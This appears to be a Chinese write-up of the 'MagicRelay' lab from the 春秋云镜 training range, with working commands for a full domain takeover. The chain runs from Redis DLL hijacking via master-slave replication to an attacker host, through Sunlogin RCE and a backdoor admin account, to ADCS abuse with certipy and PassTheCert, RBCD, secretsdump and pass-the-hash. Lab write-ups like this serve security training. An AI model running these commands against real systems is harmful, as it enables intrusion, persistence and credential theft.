春秋云镜-MagicRelay

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
./fscan_mac_arm64 -h 39.99.154.72

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.99.154.72:6379 open
[*] alive ports len is: 1
start vulscan
[+] Redis 39.99.154.72:6379 unauthorized file:C:\Program Files\Redis/dump.rdb
已完成 1/1
[*] 扫描结束,耗时: 10.037483542s

开放了6379端口,并且存在未授权

redis dll劫持+主从复制

看到是windows开的redis服务,所以我们想到的很多linux上的服务在这里都法实现,所以去看了其他师傅的利用姿势,发现是用的dll劫持。
参考: https://github.com/JKme/sb_kiddie-/blob/master/hacking_win/dll_hijack/DLLHijacker.py

不过这里有一个坑点就是在编译的时候一定要关闭一些东西

需要配置一下然后编译,利用以下项目打一个主从复制

https://github.com/r35tart/RedisWriteFile

1
python3 RedisWriteFile.py --rhost 39.99.154.72  --rport 6379 --lhost 47.101.63.120  --lport 16379 --rpath 'C:\Program Files\Redis\' --rfile 'dbghelp.dll' --lfile 'dbghelp.dll'

然后执行命令

之后cs就会收到反弹回来的shell

内网渗透

咱们上传代理工具和内网扫描工具,在这之前可以知道这台redis是在域内的主机

那在看看fscan的扫描记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.1
start infoscan
(icmp) Target 172.22.12.6 is alive
(icmp) Target 172.22.12.12 is alive
(icmp) Target 172.22.12.25 is alive
(icmp) Target 172.22.12.31 is alive
[*] Icmp alive hosts len is: 4
172.22.12.6:88 open
172.22.12.25:6379 open
172.22.12.31:445 open
172.22.12.25:445 open
172.22.12.12:445 open
172.22.12.6:445 open
172.22.12.31:139 open
172.22.12.25:139 open
172.22.12.6:139 open
172.22.12.12:139 open
172.22.12.31:135 open
172.22.12.25:135 open
172.22.12.6:135 open
172.22.12.12:135 open
172.22.12.31:80 open
172.22.12.12:80 open
172.22.12.31:21 open
[*] alive ports len is: 17
start vulscan
[+] NetInfo:
[*]172.22.12.25
[->]WIN-YUYAOX9Q
[->]172.22.12.25
[+] Redis:172.22.12.25:6379 unauthorized file:C:\Program Files\Redis/dump.rdb
[+] NetInfo:
[*]172.22.12.6
[->]WIN-SERVER
[->]172.22.12.6
[+] NetInfo:
[*]172.22.12.12
[->]WIN-AUTHORITY
[->]172.22.12.12
[*] 172.22.12.6 (Windows Server 2016 Standard 14393)
[*] 172.22.12.31 WORKGROUP\WIN-IISQE3PC
[+] NetInfo:
[*]172.22.12.31
[->]WIN-IISQE3PC
[->]172.22.12.31
[*] 172.22.12.6 [+]DC XIAORANG\WIN-SERVER Windows Server 2016 Standard 14393
[+] ftp://172.22.12.31:21:anonymous
[->]SunloginClient_11.0.0.33826_x64.exe
[*] 172.22.12.12 XIAORANG\WIN-AUTHORITY Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.22.12.12 code:200 len:703 title:IIS Windows Server
[*] WebTitle:http://172.22.12.31 code:200 len:703 title:IIS Windows Server
[+] http://172.22.12.12 poc-yaml-active-directory-certsrv-detect

[03/31 16:56:43] [+] received output:
1
2
3
4
172.22.12.6    DC:WIN-SERVER.xiaorang.lab  域控
172.22.12.25 WIN-YUYAOX9Q.xiaorang.lab Redis服务器
172.22.12.31 WORKGROUP\WIN-IISQE3PC IIS网站 ftp匿名 向日葵
172.22.12.12 WIN-AUTHORITY.xiaorang.lab CA服务器

看到172.22.12.31这台主机存在ftp匿名登录并且里面有一个向日葵的客户端,并且这个版本存在rce

向日葵rce cnvd-2022-10270

参考: https://github.com/Mr-xn/sunlogin_rce/releases/tag/new

把利用工具上传到入口主机进行利用

1
xrkRce.exe -h 172.22.12.31 -t scan
1
xrkRce.exe -h 172.22.12.31 -t rce -p 49686 -c "whoami"

添加一个后门用户

1
2
xrkRce.exe -h 172.22.12.31  -t rce -p 49685 -c "net user ocean admin@123 /add"
xrkRce.exe -h 172.22.12.31 -t rce -p 49685 -c "net localgroup administrators ocean /add"

顺便读个flag

域渗透

收集下域内信息,首先在redis拿台服务器上提个权提到system,用土豆提权就行

上传 sharpHound.exe工具收集一波,但是好像没啥用,前面fscan扫描出来有adcs漏洞

这是一些证书,用certipy-ad找一波漏洞,但是我们没有账户密码但是有redis拿台机器的hash所以可以用它来创建一个机器用户

在打之前先配置下hosts

1
2
3
172.22.12.6 WIN-SERVER.xiaorang.lab
172.22.12.12 WIN-AUTHORITY.xiaorang.lab
172.22.12.12 xiaorang-WIN-AUTHORITY-CA
1
proxychains4 certipy-ad  account create -u WIN-YUYAOX9Q$ -hashes e611213c6a712f9b18a8d056005a4f0f -dc-ip 172.22.12.6 -user ocean -dns WIN-SERVER.xiaorang.lab -debug
1
Successfully created account 'ocean$' with password 'OmSFbGEnso0q6B2D'

先申请一个证书模版

1
proxychains4 -q certipy-ad req -u 'ocean$@xiaorang.lab' -p 'OmSFbGEnso0q6B2D' -ca 'xiaorang-WIN-AUTHORITY-CA' -target 172.22.12.12 -template 'Machine' -debug -dc-ip 172.22.12.6
1
proxychains4 -q certipy-ad auth -pfx win-server.pfx -dc-ip 172.22.12.6 -debug

这样会报错,报错的原因是域控制器没有安装用于智能卡身份验证的证书,解决办法的话就是尝试 Schannel,通过 Schannel将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限。这是参考wh1teSu师傅打的

首先将pfx导出为.key 和.crt 两个文件(空密码)

1
2
3
openssl pkcs12 -in win-server.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt

参考:
https://whoamianony.top/posts/pass-the-certificate-when-pkinit-is-nosupp/
https://github.com/AlmondOffSec/PassTheCert/blob/main/Python/passthecert.py

1
proxychains -q python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.12.6

将证书配置到域控的RBCD

1
proxychains -q python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.12.6 -delegate-to 'win-server$' -delegate-from 'ocean$'

申请ST,导入票据,无密码登录即可。

1
proxychains -q impacket-getST xiaorang.lab/'ocean$':'OmSFbGEnso0q6B2D' -spn cifs/win-server.xiaorang.lab -impersonate Administrator -dc-ip 172.22.12.6
1
2
export KRB5CCNAME=Administrator@cifs_win-server.xiaorang.lab@XIAORANG.LAB.ccache
proxychains -q impacket-psexec Administrator@win-server.xiaorang.lab -k -no-pass -dc-ip 172.22.12.6 -codec gbk

把域中的hash都导出来

1
proxychains -q impacket-secretsdump 'xiaorang.lab/administrator@win-server.xiaorang.lab' -target-ip 172.22.12.6 -no-pass -k

然后打pth

1
proxychains4 -q python3 psexec.py -hashes :aa95e708a5182931157a526acf769b13 xiaorang.lab/administrator@172.22.12.12